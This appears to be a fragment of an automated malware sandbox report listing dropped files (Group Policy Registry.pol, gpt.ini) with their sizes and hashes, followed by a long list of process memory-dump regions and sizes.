                                                                                                                                                                          6.3MB

                                                                                                                                                                          MD5

                                                                                                                                                                          fdcc0ef7b4cb82035c51f55cfece6cf1

                                                                                                                                                                          SHA1

                                                                                                                                                                          ee1d2e870309f5ba05e0216d3ea909c1ae9d8ee4

                                                                                                                                                                          SHA256

                                                                                                                                                                          7c3415f11576e09a0910da101422f044162b11607aa670452843436925d8c26b

                                                                                                                                                                          SHA512

                                                                                                                                                                          05d9e81255dfbd647198b4f9d13c420f3f8d56a235ebbec301d7006597bec72b4bfa0dc7e8e1f76de4e9d16b5e95a9f5c585bbdb4ce5fe98cade2872dffccf3a

                                                                                                                                                                        • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                          Filesize

                                                                                                                                                                          6KB

                                                                                                                                                                          MD5

                                                                                                                                                                          af5a6b277700c3d5f2b18476dc79bf88

                                                                                                                                                                          SHA1

                                                                                                                                                                          cd73d9b216467ce5ef9c4ed007f21506bdcda9ce

                                                                                                                                                                          SHA256

                                                                                                                                                                          3bd8efb7779a1f95f313b9e441b865476c5ba63acfdebf0b6647413451b58ec9

                                                                                                                                                                          SHA512

                                                                                                                                                                          27649baa11485fb0f10638344c934df823c1546abb396f12ee1932bc03c663d6186c3b7720d6cbb7d3afe7b2765713e896d67cca02d736fd65142b4a1b30d611

                                                                                                                                                                        • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                          Filesize

                                                                                                                                                                          268B

                                                                                                                                                                          MD5

                                                                                                                                                                          a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                          SHA1

                                                                                                                                                                          1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                          SHA256

                                                                                                                                                                          9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                          SHA512

                                                                                                                                                                          9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                        • memory/344-33-0x00007FFCCCD80000-0x00007FFCCD841000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/344-27-0x000001FC57510000-0x000001FC57532000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          136KB

                                                                                                                                                                        • memory/344-28-0x00007FFCCCD80000-0x00007FFCCD841000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/344-29-0x000001FC6F830000-0x000001FC6F840000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/344-30-0x000001FC6F830000-0x000001FC6F840000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/784-14-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/2748-47-0x0000000004BA0000-0x0000000004C06000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          408KB

                                                                                                                                                                        • memory/2748-44-0x0000000003DC0000-0x0000000003DD0000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/2748-63-0x0000000073970000-0x0000000074120000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/2748-59-0x0000000005260000-0x000000000527E000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          120KB

                                                                                                                                                                        • memory/2748-60-0x0000000005830000-0x000000000587C000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          304KB

                                                                                                                                                                        • memory/2748-41-0x0000000001950000-0x0000000001986000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          216KB

                                                                                                                                                                        • memory/2748-42-0x0000000004400000-0x0000000004A28000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          6.2MB

                                                                                                                                                                        • memory/2748-58-0x0000000004DB0000-0x0000000005104000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          3.3MB

                                                                                                                                                                        • memory/2748-43-0x0000000073970000-0x0000000074120000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/2748-54-0x0000000004C10000-0x0000000004C76000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          408KB

                                                                                                                                                                        • memory/2748-45-0x0000000003DC0000-0x0000000003DD0000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/2748-46-0x00000000041B0000-0x00000000041D2000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          136KB

                                                                                                                                                                        • memory/3192-67-0x0000000003580000-0x0000000003590000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/3192-65-0x0000000073970000-0x0000000074120000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/3192-66-0x0000000003580000-0x0000000003590000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/3192-79-0x0000000073970000-0x0000000074120000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/4244-38-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/4628-497-0x0000000001C40000-0x0000000002228000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/4764-157-0x0000000003440000-0x00000000034A5000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          404KB

                                                                                                                                                                        • memory/4764-115-0x0000000002E00000-0x0000000002E85000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          532KB

                                                                                                                                                                        • memory/4764-104-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/4764-487-0x0000000003DB0000-0x0000000003E3A000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          552KB

                                                                                                                                                                        • memory/4764-505-0x0000000003E40000-0x0000000003F15000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          852KB

                                                                                                                                                                        • memory/6056-89-0x00007FFCCCD80000-0x00007FFCCD841000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/6056-94-0x0000017239030000-0x0000017239040000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/6056-98-0x00007FFCCCD80000-0x00007FFCCD841000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/6056-95-0x0000017239030000-0x0000017239040000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB